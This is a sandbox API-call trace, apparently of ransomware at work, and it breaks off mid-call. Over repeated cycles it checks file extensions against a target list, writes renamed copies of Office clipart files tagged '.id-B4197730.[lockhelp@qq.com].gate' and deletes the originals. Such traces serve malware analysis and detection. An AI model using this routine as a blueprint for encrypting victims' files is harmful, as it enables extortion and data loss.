lstrlenW (lpString=".zip") returned 4 [0291.968] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.968] lstrlenW (lpString=".rar") returned 4 [0291.968] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.968] lstrlenW (lpString=".bz2") returned 4 [0291.968] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.968] lstrlenW (lpString=".7z") returned 3 [0291.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0291.968] lstrlenW (lpString=".dbf") returned 4 [0291.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0291.968] lstrlenW (lpString=".1cd") returned 4 [0291.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0291.968] lstrlenW (lpString=".jpg") returned 4 [0291.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.969] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=31122) returned 1 [0291.969] CloseHandle (hObject=0x4e8) returned 1 [0291.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x220 [0291.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0291.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0291.970] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.970] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0291.970] GetLastError () returned 0x0 [0291.973] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x7992, lpOverlapped=0x0) returned 1 [0292.111] WriteFile (in: hFile=0x500, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x79a0, lpOverlapped=0x0) returned 1 [0292.112] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0292.113] WriteFile (in: hFile=0x500, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0292.113] SetEndOfFile (hFile=0x500) returned 1 [0292.271] CloseHandle (hObject=0x500) returned 1 [0292.287] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.287] SetEndOfFile (hFile=0x4e8) returned 1 [0292.289] CloseHandle (hObject=0x4e8) returned 1 [0292.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0292.290] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 1 [0292.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0292.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0292.290] lstrlenW (lpString=".doc") returned 4 [0292.290] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.290] lstrlenW (lpString=".docx") returned 5 [0292.290] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0292.290] lstrlenW (lpString=".pdf") returned 4 [0292.290] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.291] lstrlenW (lpString=".xls") returned 4 [0292.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.291] lstrlenW (lpString=".xlsx") returned 5 [0292.291] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0292.291] lstrlenW (lpString=".ppt") returned 4 [0292.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0292.291] lstrlenW (lpString=".zip") returned 4 [0292.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.291] lstrlenW (lpString=".rar") returned 4 [0292.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.291] lstrlenW (lpString=".bz2") returned 4 [0292.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.291] lstrlenW (lpString=".7z") returned 3 [0292.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0292.291] lstrlenW (lpString=".dbf") returned 4 [0292.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0292.291] lstrlenW (lpString=".1cd") returned 4 [0292.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0292.291] lstrlenW (lpString=".jpg") returned 4 [0292.291] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.292] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=29628) returned 1 [0292.292] CloseHandle (hObject=0x4e8) returned 1 [0292.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 0x220 [0292.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0292.293] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.293] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0292.293] GetLastError () returned 0x0 [0292.293] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x73bc, lpOverlapped=0x0) returned 1 [0292.324] WriteFile (in: hFile=0x4f8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x73c0, lpOverlapped=0x0) returned 1 [0292.325] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0292.325] WriteFile (in: hFile=0x4f8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0292.325] SetEndOfFile (hFile=0x4f8) returned 1 [0292.325] CloseHandle (hObject=0x4f8) returned 1 [0292.326] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.326] SetEndOfFile (hFile=0x4e8) returned 1 [0292.328] CloseHandle (hObject=0x4e8) returned 1 [0292.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0292.329] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 1 [0292.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0292.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0292.329] lstrlenW (lpString=".doc") returned 4 [0292.329] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.330] lstrlenW (lpString=".docx") returned 5 [0292.330] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0292.330] lstrlenW (lpString=".pdf") returned 4 [0292.330] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.330] lstrlenW (lpString=".xls") returned 4 [0292.330] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.330] lstrlenW (lpString=".xlsx") returned 5 [0292.330] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0292.330] lstrlenW (lpString=".ppt") returned 4 [0292.330] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0292.330] lstrlenW (lpString=".zip") returned 4 [0292.330] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.330] lstrlenW (lpString=".rar") returned 4 [0292.330] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.330] lstrlenW (lpString=".bz2") returned 4 [0292.330] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.330] lstrlenW (lpString=".7z") returned 3 [0292.330] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0292.330] lstrlenW (lpString=".dbf") returned 4 [0292.330] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0292.330] lstrlenW (lpString=".1cd") returned 4 [0292.330] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0292.330] lstrlenW (lpString=".jpg") returned 4 [0292.330] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.331] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=37974) returned 1 [0292.331] CloseHandle (hObject=0x4e8) returned 1 [0292.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 0x220 [0292.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0292.331] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.331] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0292.332] GetLastError () returned 0x0 [0292.332] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x9456, lpOverlapped=0x0) returned 1 [0292.453] WriteFile (in: hFile=0x4f8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x9460, lpOverlapped=0x0) returned 1 [0292.454] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0292.454] WriteFile (in: hFile=0x4f8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0292.454] SetEndOfFile (hFile=0x4f8) returned 1 [0292.454] CloseHandle (hObject=0x4f8) returned 1 [0292.455] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.455] SetEndOfFile (hFile=0x4e8) returned 1 [0292.458] CloseHandle (hObject=0x4e8) returned 1 [0292.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0292.458] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 1 [0292.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0292.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0292.459] lstrlenW (lpString=".doc") returned 4 [0292.459] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.459] lstrlenW (lpString=".docx") returned 5 [0292.459] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0292.459] lstrlenW (lpString=".pdf") returned 4 [0292.459] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.459] lstrlenW (lpString=".xls") returned 4 [0292.459] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.459] lstrlenW (lpString=".xlsx") returned 5 [0292.459] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0292.459] lstrlenW (lpString=".ppt") returned 4 [0292.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0292.459] lstrlenW (lpString=".zip") returned 4 [0292.459] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.459] lstrlenW (lpString=".rar") returned 4 [0292.459] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.459] lstrlenW (lpString=".bz2") returned 4 [0292.459] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.459] lstrlenW (lpString=".7z") returned 3 [0292.459] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0292.459] lstrlenW (lpString=".dbf") returned 4 [0292.459] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0292.459] lstrlenW (lpString=".1cd") returned 4 [0292.459] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0292.460] lstrlenW (lpString=".jpg") returned 4 [0292.460] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.460] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=17584) returned 1 [0292.460] CloseHandle (hObject=0x4e8) returned 1 [0292.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 0x220 [0292.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0292.461] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.461] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0292.461] GetLastError () returned 0x0 [0292.461] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x44b0, lpOverlapped=0x0) returned 1 [0292.546] WriteFile (in: hFile=0x4f8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x44c0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x44c0, lpOverlapped=0x0) returned 1 [0292.547] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0292.547] WriteFile (in: hFile=0x4f8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0292.547] SetEndOfFile (hFile=0x4f8) returned 1 [0292.563] CloseHandle (hObject=0x4f8) returned 1 [0292.566] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.566] SetEndOfFile (hFile=0x4e8) returned 1 [0292.571] CloseHandle (hObject=0x4e8) returned 1 [0292.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0292.574] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 1 [0292.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0292.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0292.574] lstrlenW (lpString=".doc") returned 4 [0292.574] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.574] lstrlenW (lpString=".docx") returned 5 [0292.574] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0292.574] lstrlenW (lpString=".pdf") returned 4 [0292.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.575] lstrlenW (lpString=".xls") returned 4 [0292.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.575] lstrlenW (lpString=".xlsx") returned 5 [0292.575] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0292.575] lstrlenW (lpString=".ppt") returned 4 [0292.575] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0292.575] lstrlenW (lpString=".zip") returned 4 [0292.575] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.575] lstrlenW (lpString=".rar") returned 4 [0292.575] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.575] lstrlenW (lpString=".bz2") returned 4 [0292.575] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.575] lstrlenW (lpString=".7z") returned 3 [0292.575] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0292.575] lstrlenW (lpString=".dbf") returned 4 [0292.575] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0292.575] lstrlenW (lpString=".1cd") returned 4 [0292.575] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0292.575] lstrlenW (lpString=".jpg") returned 4 [0292.575] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.576] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=42908) returned 1 [0292.576] CloseHandle (hObject=0x4f8) returned 1 [0292.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 0x220 [0292.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0292.576] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.576] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 